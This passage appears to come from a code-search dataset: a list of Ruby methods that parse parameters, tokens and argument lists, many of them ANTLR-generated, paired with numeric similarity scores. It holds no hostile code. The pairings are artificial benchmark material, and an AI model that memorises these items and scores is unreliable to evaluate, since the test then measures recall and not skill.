"def get_params\n\n return @params.map { |p| \n Param.new(\n name,\n @params[name].get_data(\"value\"),\n @params[name].get_data(\"type\"),\n true\n ) \n }\n end",
"def extract_input_parameters(op_node, doc)\n result = []\n op_name = op_node.attributes['name'].to_s\n doc.each_element_with_attribute('name', op_name, 0,\n '//schema/element') do |method_node|\n seq_node = REXML::XPath.first(method_node, 'complexType/sequence')\n result = get_element_fields(seq_node)\n process_method_field_types(result)\n end\n return result\n end",
"def parameter_list_tail\n if @enum.peek.value == ','\n @instruction.push(@enum.peek.value)\n comma\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def markup_to_parameter_array(str)\n str.downcase.slice(1,str.size-2).strip.gsub(/[\\s]+/, \" \").split(/:/).map {|s| s.strip}\n end",
"def parameters\n @parameters || []\n end",
"def get_all_valid_tokens(opts={})\n @token_types.map { |type| { type => get_valid_tokens(type, opts) } }\nend",
"def tokens ; self.class.tokens ; end",
"def parameters\n params = []\n self.command_parameters.each do |param|\n params << OpenStruct.new( :param_id => param.id, :name => param.Description, :param_type => param.type.Description )\n end\n params\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __PARAMS259__ = nil\n parameter260 = nil\n\n tree_for_PARAMS259 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 215:5: ^( PARAMS ( parameter )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __PARAMS259__ = match( PARAMS, TOKENS_FOLLOWING_PARAMS_IN_parameters_1582 )\n\n tree_for_PARAMS259 = @adaptor.copy_node( __PARAMS259__ )\n\n root_1 = @adaptor.become_root( tree_for_PARAMS259, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 215:15: ( parameter )*\n while true # decision 35\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == ASGN || look_35_0 == SPLAT || look_35_0 == ID )\n alt_35 = 1\n\n end\n case alt_35\n when 1\n # at line 215:15: parameter\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_1584 )\n parameter260 = parameter\n @state.following.pop\n\n @adaptor.add_child( root_1, parameter260.tree )\n\n\n else\n break # out of loop for decision 35\n end\n end # loop for decision 35\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n \n return return_value\n end",
"def extract_method_arguments(line)\n method = extract_method_name(line)\n if method.include?('(')\n method.scan(/\\(([^\\)]+)\\)/)[0][0].split(',').map(&:strip)\n else\n []\n end\n end",
"def block_parameter_names\n return block_def_node.parameters\n end",
"def params_array_from(raw_params); end",
"def tokenize(node)\n case Array(node)[0]\n when :module\n name = node[1]\n [ :module, name, node.comments, tokenize(node[2..-1]) ]\n when :class\n name = node[1]\n [ :class, name, node.comments, tokenize(node[3..-1]) ]\n when :defn\n name = node[1]\n args = args_for_node(node[2])\n [ :imethod, name, node.comments, args ]\n when :defs\n name = node[2]\n args = args_for_node(node[3])\n [ :cmethod, name, node.comments, args ]\n when :block\n tokenize(node[1..-1])\n when :scope\n tokenize(node[1])\n when Array\n node.map { |n| tokenize(n) }.compact\n end\n end",
"def parameter_list(fn)\n case @scanner.peek.value\n when 'void'\n match(Token.new(:reserved, 'void'))\n @prog_code << \"void\"\n when 'int'\n match(Token.new(:reserved, 'int'))\n @prog_code << \"int \"\n name = @scanner.next.value\n fn.add_param(name)\n @prog_code << name\n parameter_list_tail(fn)\n end\n end",
"def tokens\n self.entries\n end",
"def generate_parameters(method)\n # If it's not a method, try to make it one\n unless method.respond_to? :parameters \n method = @class.instance_method method\n end\n\n req = method.parameters.count {|type, o| type == :req}\n opt = method.parameters.count {|type, o| type == :opt}\n # Other types are :rest, :block, for * and & syntaxes, respectively\n\n (req..opt+req).flat_map do |n|\n @pass_parameters.repeated_permutation(n).to_a\n end\n end",
"def parameters\n context.parameters.map(&:name)\n end",
"def params() @param_types end",
"def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n return_value = ParameterReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __SPLAT261__ = nil\n __ID262__ = nil\n char_literal263 = nil\n __ID264__ = nil\n __ID266__ = nil\n expression265 = nil\n\n tree_for_SPLAT261 = nil\n tree_for_ID262 = nil\n tree_for_char_literal263 = nil\n tree_for_ID264 = nil\n tree_for_ID266 = nil\n\n begin\n # at line 219:3: ( ^( SPLAT ID ) | ^( '=' ID expression ) | ID )\n alt_36 = 3\n case look_36 = @input.peek( 1 )\n when SPLAT then alt_36 = 1\n when ASGN then alt_36 = 2\n when ID then alt_36 = 3\n else\n raise NoViableAlternative( \"\", 36, 0 )\n end\n case alt_36\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 219:5: ^( SPLAT ID )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SPLAT261__ = match( SPLAT, TOKENS_FOLLOWING_SPLAT_IN_parameter_1602 )\n\n tree_for_SPLAT261 = @adaptor.copy_node( __SPLAT261__ )\n\n root_1 = @adaptor.become_root( tree_for_SPLAT261, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID262__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1604 )\n\n tree_for_ID262 = @adaptor.copy_node( __ID262__ )\n\n @adaptor.add_child( root_1, tree_for_ID262 )\n\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 220:5: ^( '=' ID expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal263 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_parameter_1614 )\n\n tree_for_char_literal263 = @adaptor.copy_node( char_literal263 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal263, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID264__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1616 )\n\n tree_for_ID264 = @adaptor.copy_node( __ID264__ )\n\n @adaptor.add_child( root_1, tree_for_ID264 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_parameter_1618 )\n expression265 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression265.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 221:5: ID\n _last = @input.look\n __ID266__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1626 )\n\n tree_for_ID266 = @adaptor.copy_node( __ID266__ )\n\n @adaptor.add_child( root_0, tree_for_ID266 )\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return return_value\n end",
"def argument_list\n recursive_expression(:identifier, :comma)\n end",
"def params(parameters)\n parameter_list = []\n parameters.each do |k, v|\n parameter_list.push(parameter_key: k, parameter_value: v)\n end\n parameter_list\n end",
"def to_param\n token\n end",
"def param_names\n\t\treturn self.constraints.keys.map( &:to_s ).sort\n\tend",
"def get_reqd_param_names\n rparams = []\n i = 1\n while !params[:rparams_.to_s + \"#{i}\"].nil?\n rparams << params[:rparams_.to_s + \"#{i}\"]\n i += 1\n end\n rparams\n end",
"def get_parameters; end",
"def get_parameters; end",
"def undoc_params method\n @formatter ||= RDoc::Markup::ToTtOnly.new\n\n params = method.param_list\n\n params = params.map { |param| param.gsub(/^\\*\\*?/, '') }\n\n return 0, [] if params.empty?\n\n document = parse method.comment\n\n tts = document.accept @formatter\n\n undoc = params - tts\n\n [params.length, undoc]\n end",
"def all_tokens\n token_array = []\n self.data.each do |token, count|\n\ttoken_array.push( token )\n end\n return token_array\n end",
"def extract_parameters(superclass)\n return [] unless superclass.parameters\n members = superclass.parameters.select {|x| x && x.type == :symbol_literal }\n members.map! {|x| x.source.strip[1..-1] }\n members\n end",
"def get_parameters\r\n @parameters\r\n end",
"def tokenize; end",
"def tokenize; end",
"def params\n\t\t\treturn @params if @params\n\t\t\t@params = @value.gsub(/\\\\\\|/, @escaped_pipe).split('|').map{|p| p.strip.gsub @escaped_pipe, \"\\\\|\"}\n\t\tend",
"def to_param\n\t\tself.token\n\tend",
"def archetype_args\n tok = []\n @returns.map { |ent| tok << \"&#{ent.name}\" }\n @accepts.map { |ent| tok << ent.name }\n tok.join(', ')\n end",
"def parameters(method)\n\n\n\n # 315:7: '(' ( parameter_definition[method] )? ')'\n match(:LEFT_PARENTESIS)\n # 316:7: ( parameter_definition[method] )?\n alt43 = 2\n # 316:7: ( parameter_definition[method] )?\n look_ahead43_0 = look_ahead(1)\n\n if look_ahead43_0 == :IDENTIFIER || look_ahead43_0 == :FINAL || look_ahead43_0 == :ANNOTATION \n alt43 = 1\n end\n case alt43\n when 1\n # 316:8: parameter_definition[method]\n parameter_definition(method)\n\n end\n match(:RIGHT_PARENTESIS)\n\n\n\n end",
"def parameters(element=node)\n result = []\n element.elements.each do |e|\n if (p = e.attributes['param'])\n param_name = p == \"&true\" ? e.name : p\n result << [param_name, parameters(e)]\n else\n result.concat(parameters(e))\n end\n end\n result\n end",
"def parse_parameters(raw)\n ret = Array.new\n i = 0\n while raw.size > 0\n case raw[0]\n when 'Z', 'B', 'C', 'S', 'F', 'I', 'D', 'J'\n ret[i] = ['P']\n i += 1\n raw = raw[1..-1]\n when 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[1..t-1]]\n i += 1\n raw = raw[t+1..-1]\n if raw.size == 0\n return ret\n end\n when '['\n if raw[1] == 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[2..t-1]]\n i += 1\n raw = raw[t+1..-1]\n else\n ret[i] = ['P']\n i += 1\n raw = raw[2..-1]\n end\n end\n end\n return ret\nend",
"def tokenize ; end",
"def tokenize ; end",
"def pnames\n @params.keys\n end",
"def tokens\n @tokens ||= scanner.tokenize(input)\n end",
"def param_values(key = nil)\n params(key).map { |param| param.value }\n end"
] | [
"0.7025695",
"0.69731814",
"0.6955403",
"0.68085855",
"0.6805074",
"0.66393584",
"0.6564486",
"0.6461608",
"0.639049",
"0.639049",
"0.639049",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63889414",
"0.63795525",
"0.6342691",
"0.6334355",
"0.63156366",
"0.6251435",
"0.6249708",
"0.6242705",
"0.62418807",
"0.6236636",
"0.6229255",
"0.6208201",
"0.6207321",
"0.6200476",
"0.61939526",
"0.61870605",
"0.6171988",
"0.613507",
"0.61183697",
"0.61071193",
"0.6085896",
"0.608536",
"0.6078468",
"0.6033487",
"0.6033096",
"0.6031852",
"0.60162014",
"0.60075796",
"0.6006322",
"0.5994668",
"0.59903765",
"0.5970032",
"0.5960491",
"0.5960491",
"0.5943623",
"0.59398466",
"0.5932009",
"0.5930601",
"0.5930566",
"0.5928858",
"0.5926298",
"0.59099525",
"0.5907368",
"0.58980376",
"0.586902",
"0.5862287",
"0.5844349",
"0.5831434",
"0.58284783",
"0.58258015",
"0.5825277",
"0.58210486",
"0.5819701",
"0.5819082",
"0.58180285",
"0.58148515",
"0.58072615",
"0.5795393",
"0.5793323",
"0.5791544",
"0.57850724",
"0.576461",
"0.5758982",
"0.57518387",
"0.57518387",
"0.574751",
"0.57420933",
"0.5714915",
"0.5701771",
"0.5701447",
"0.5701447",
"0.5699456",
"0.5697072",
"0.56931615",
"0.5686323",
"0.5681784",
"0.56718326",
"0.5668095",
"0.5668095",
"0.5667714",
"0.56644315",
"0.5651403"
] | 0.6708287 | 5 |
Returns array of tokens that cover the value that the parameter token has as its default Search forward to find value assigned to this parameter We want to find the thing after `=` and before `,` | def extract_default_value_tokens(ptok)
value_tokens = []
token = ptok.next_code_token
nesting = 0
while token
case token.type
when :LPAREN, :LBRACK
nesting += 1
when :RBRACK
nesting -= 1
when :RPAREN
nesting -= 1
if nesting.negative?
# This is the RPAREN at the end of the parameters. There wasn't a COMMA
last_token = token.prev_code_token
break
end
when :EQUALS
first_token = token.next_code_token
when :COMMA
unless nesting.positive?
last_token = token.prev_code_token
break
end
end
token = token.next_token
end
value_tokens = tokens[tokens.find_index(first_token)..tokens.find_index(last_token)] if first_token && last_token
value_tokens
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def scan_for_commas(token); end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 74 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal356 = nil\n parameter355 = nil\n parameter357 = nil\n\n tree_for_char_literal356 = nil\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_parameter = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameter\" )\n begin\n # at line 742:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5248 )\n parameter355 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter355.tree )\n end\n # at line 742:15: ( ',' parameter )*\n while true # decision 91\n alt_91 = 2\n look_91_0 = @input.peek( 1 )\n\n if ( look_91_0 == COMMA )\n alt_91 = 1\n\n end\n case alt_91\n when 1\n # at line 742:18: ',' parameter\n char_literal356 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_parameters_5253 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal356 )\n end\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5256 )\n parameter357 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter357.tree )\n end\n\n else\n break # out of loop for decision 91\n end\n end # loop for decision 91\n # AST Rewrite\n # elements: parameter\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 742:36: -> ( parameter )+\n # at line 742:39: ( parameter )+\n stream_parameter.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_parameter.has_next?\n @adaptor.add_child( root_0, stream_parameter.next_tree )\n\n end\n stream_parameter.reset\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 74 )\n\n end\n \n return return_value\n end",
"def parse_multiple_values\n next_token if peek_token == :lparen #skip :lparen\n value = []\n value << current_token if String === next_token until peek_token.nil? || peek_token == :rparen\n next_token if peek_token == :rparen # consume the :rparen\n value.join(',')\n end",
"def param_list(param)\n if params[param].blank?\n nil\n else\n params[param].split(',')\n end\n end",
"def parse_into_search_elements(key, value)\n # separate value for \"OR\" search if it has a comma\n return Array.wrap(value.split(OR_SEARCH_SEPARATOR)) if value.include?(OR_SEARCH_SEPARATOR)\n # format value for \"AND\" search if it has '^'\n return Array.wrap(value.split(AND_SEARCH_SEPARATOR)) if value.include?(AND_SEARCH_SEPARATOR)\n # make sure returned value is an array\n Array.wrap(value)\n end",
"def parse_into_search_elements(key, value)\n # separate value for \"OR\" search if it has a comma\n return Array.wrap(value.split(OR_SEARCH_SEPARATOR)) if value.include?(OR_SEARCH_SEPARATOR)\n # format value for \"AND\" search if it has '^'\n return Array.wrap(value.split(AND_SEARCH_SEPARATOR)) if value.include?(AND_SEARCH_SEPARATOR)\n # make sure returned value is an array\n Array.wrap(value)\n end",
"def comma\n match(Token.new(:symbol, ','))\n end",
"def group_param_values\n @group_param_values ||= group_param_string.split(/[#{FacetTerm::OPERATOR_MAPPING.values.join}]/)\n end",
"def parameter\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n return_value = ParameterReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __SPLAT261__ = nil\n __ID262__ = nil\n char_literal263 = nil\n __ID264__ = nil\n __ID266__ = nil\n expression265 = nil\n\n tree_for_SPLAT261 = nil\n tree_for_ID262 = nil\n tree_for_char_literal263 = nil\n tree_for_ID264 = nil\n tree_for_ID266 = nil\n\n begin\n # at line 219:3: ( ^( SPLAT ID ) | ^( '=' ID expression ) | ID )\n alt_36 = 3\n case look_36 = @input.peek( 1 )\n when SPLAT then alt_36 = 1\n when ASGN then alt_36 = 2\n when ID then alt_36 = 3\n else\n raise NoViableAlternative( \"\", 36, 0 )\n end\n case alt_36\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 219:5: ^( SPLAT ID )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SPLAT261__ = match( SPLAT, TOKENS_FOLLOWING_SPLAT_IN_parameter_1602 )\n\n tree_for_SPLAT261 = @adaptor.copy_node( __SPLAT261__ )\n\n root_1 = @adaptor.become_root( tree_for_SPLAT261, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID262__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1604 )\n\n tree_for_ID262 = @adaptor.copy_node( __ID262__ )\n\n @adaptor.add_child( root_1, tree_for_ID262 )\n\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 220:5: ^( '=' ID expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal263 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_parameter_1614 )\n\n tree_for_char_literal263 = @adaptor.copy_node( char_literal263 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal263, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n __ID264__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1616 )\n\n tree_for_ID264 = @adaptor.copy_node( __ID264__ )\n\n @adaptor.add_child( root_1, tree_for_ID264 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_parameter_1618 )\n expression265 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression265.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 221:5: ID\n _last = @input.look\n __ID266__ = match( ID, TOKENS_FOLLOWING_ID_IN_parameter_1626 )\n\n tree_for_ID266 = @adaptor.copy_node( __ID266__ )\n\n @adaptor.add_child( root_0, tree_for_ID266 )\n\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return return_value\n end",
"def parameter_list\n recursive_expression(:expression, :comma)\n end",
"def tokenize\n return @value.split(/\\s+/)\n end",
"def extract_params(idx)\n params = []\n return params if idx[:param_tokens].nil?\n\n e = idx[:param_tokens].each\n begin\n while (ptok = e.next)\n next unless ptok.type == :VARIABLE\n\n params << ptok\n nesting = 0\n # skip to the next parameter to avoid finding default values of variables\n loop do\n ptok = e.next\n case ptok.type\n when :LPAREN, :LBRACK\n nesting += 1\n when :RPAREN, :RBRACK\n nesting -= 1\n when :COMMA\n break unless nesting.positive?\n end\n end\n end\n rescue StopIteration; end # rubocop:disable Lint/SuppressedException\n params\n end",
"def get_token(string)\n case string\n when /'(\\S+)/\n $1\n when *$token_table.keys\n $token_table[string]\n when $pats[:int]\n $&.to_i\n when /\\A\n \\[\n (.*)\n \\]\n \\Z/x\n a = $1.split(/\\s*,\\s*/)\n a.collect{|elem| get_token(elem)}\n else\n string\n end\nend",
"def tokenize_config_value(str)\n str.scan(/([^\"\\s]+)?(?:\"([^\"]+)\")?\\s*/).map(&:join)\n end",
"def value_for(value, expression)\n value.split(\",\").find { |obj| obj.strip =~ expression }\n end",
"def delimiter_regexp\n /\\A.*=.*((([^\\w\\s\\+\\)\\(])|([_]))\\s?)\\w+=.*\\z/\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __PARAMS259__ = nil\n parameter260 = nil\n\n tree_for_PARAMS259 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 215:5: ^( PARAMS ( parameter )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __PARAMS259__ = match( PARAMS, TOKENS_FOLLOWING_PARAMS_IN_parameters_1582 )\n\n tree_for_PARAMS259 = @adaptor.copy_node( __PARAMS259__ )\n\n root_1 = @adaptor.become_root( tree_for_PARAMS259, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 215:15: ( parameter )*\n while true # decision 35\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == ASGN || look_35_0 == SPLAT || look_35_0 == ID )\n alt_35 = 1\n\n end\n case alt_35\n when 1\n # at line 215:15: parameter\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_1584 )\n parameter260 = parameter\n @state.following.pop\n\n @adaptor.add_child( root_1, parameter260.tree )\n\n\n else\n break # out of loop for decision 35\n end\n end # loop for decision 35\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n \n return return_value\n end",
"def tokenize_config_value(str); end",
"def scan_for_and(token); end",
"def value_scan(value)\n value.reverse.scan(PARAMETER_REGEXP).each do |s|\n s.compact!.reverse!\n yield s[0].reverse if block_given?\n end\n end",
"def find_token\n shift_token || find_regex_token || find_string_token\n end",
"def set_token(lines)\n match = nil\n lines.find_index { |line| match = line.match(REGEX[:token]) }\n\n raise \"No Delimiter Token Set\" if match.nil?\n\n match.captures[0]\n end",
"def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n\n begin\n # at line 501:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_486 )\n parameter\n @state.following.pop\n # at line 501:15: ( ',' parameter )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0 == T__34 )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 501:16: ',' parameter\n match( T__34, TOKENS_FOLLOWING_T__34_IN_parameters_489 )\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_491 )\n parameter\n @state.following.pop\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return \n end",
"def match(s)\n\n a = []\n\n if s =~ /^\\w+\\(/ then\n\n found, token, remainder = lmatch(s.chars, '(',')')\n\n if found == ')' then\n a << token\n end\n\n elsif s =~ /^[\\w\\/]+\\[/\n\n found, token, remainder = lmatch(s.chars, '[',']') \n a << token\n a2 = match remainder\n\n token << a2.first if a2.first \n a.concat a2[1..-1]\n\n a2\n\n else\n token = s.slice!(/^[\\w\\/]+/)\n a << token\n remainder = s\n end\n\n operator = remainder.slice!(/^\\s*\\|\\s*/)\n\n if operator then\n a.concat [operator, *match(remainder)]\n end\n \n a\n end",
"def get_search_breadcrumb_terms(q_param)\n q_param.scan(/(\"[^\"]+\"|\\w+)/).flatten\n end",
"def empty_block_params_delimiters(params)\n op = pop_token(:'@||')\n ldelim = Ruby::Token.new('|', op.position, op.prolog)\n rdelim = Ruby::Token.new('|', op.position).tap { |o| o.position.col += 1 }\n [ldelim, rdelim]\n end",
"def param_list\n read_next.must_be_identifier!(\"(\")\n if next_token.is_identifier?(\")\")\n ASTList.create\n else\n params\n end.tap do\n read_next.must_be_identifier!(\")\")\n end\n end",
"def values\n @values ||= begin\n matches = []\n\n text.scan(VALUE_REGEXP) do\n offset = Regexp.last_match.offset(1)\n matches << loc.expression.adjust(begin_pos: offset.first)\n .with(end_pos: loc.expression.begin_pos + offset.last)\n end\n\n matches\n end\n end",
"def scan_comma_spaces; end",
"def parametros\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n\n return_value = ParametrosReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __COMA135__ = nil\n valor134 = nil\n valor136 = nil\n\n\n tree_for_COMA135 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 143:4: valor ( COMA valor )*\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_634 )\n valor134 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor134.tree )\n end\n\n # at line 143:10: ( COMA valor )*\n while true # decision 17\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == COMA )\n alt_17 = 1\n\n end\n case alt_17\n when 1\n # at line 143:11: COMA valor\n __COMA135__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_parametros_637 )\n if @state.backtracking == 0\n tree_for_COMA135 = @adaptor.create_with_payload( __COMA135__ )\n @adaptor.add_child( root_0, tree_for_COMA135 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_639 )\n valor136 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor136.tree )\n end\n\n\n else\n break # out of loop for decision 17\n end\n end # loop for decision 17\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n\n end\n\n return return_value\n end",
"def value_for(value)\n values = value.split(',').map{|i| i.strip}\n return values.size == 1 ? values.first() : values\n end",
"def parse_result(param)\n\tHash[param.scan /([^=]+)=([^ ]+)[ $]/]\nend",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def val_for key\n split(\"\\n\").grep(\n key.is_a?(Regexp) ? key : /(^|^[^\\w]*\\s+)#{Regexp.escape(key)}\\b/\n ).map {|l|\n l.sub(/^[^\\w]*\\s+/, '').\n sub(key.is_a?(Regexp) ? key : /^#{Regexp.escape(key)}\\b\\s*[:=]?/, '').\n sub(/[;,]\\s*$/, '').\n strip\n }.first || ''\n end",
"def params_array_from(raw_params)\n raw_params.map { |param| param.split %r/=(.+)?/ }\n end",
"def parameter_list_tail\n if @enum.peek.value == ','\n @instruction.push(@enum.peek.value)\n comma\n @instruction.push(@enum.peek.value)\n match(Token.new(:reserved, 'int'))\n @instruction.push(@enum.peek.value)\n match(:identifier)\n parameter_list_tail\n end\n end",
"def search_values_without_quotes_and_filters\n search_string.gsub(Regexp.union(FILTER_WORD_REGEX, REGEX_WORD_IN_QUOTES), '').split(' ')\n end",
"def split_header_value(str)\n str.scan(/((?:\"(?:\\\\.|[^\"])+?\"|[^\",]+)+)\n (?:,\\s*|\\Z)/xn).collect{|v| v[0] }\nend",
"def token_and_options(header)\n token = header.to_s.match(/^Token (.*)/) { |m| m[1] }\n if token\n begin\n values = Hash[token.split(\",\").map do |value|\n value.strip! # remove any spaces between commas and values\n key, value = value.split(/=\"?/) # split key=value pairs\n value.chomp!('\"') # chomp trailing \" in value\n value.gsub!(/\\\\\"/, '\"') # unescape remaining quotes\n [key, value]\n end]\n [values.delete(\"token\"), values]\n rescue StandardError => exception\n raise UnprocessableHeader, exception\n end\n else\n [nil, {}]\n end\n end",
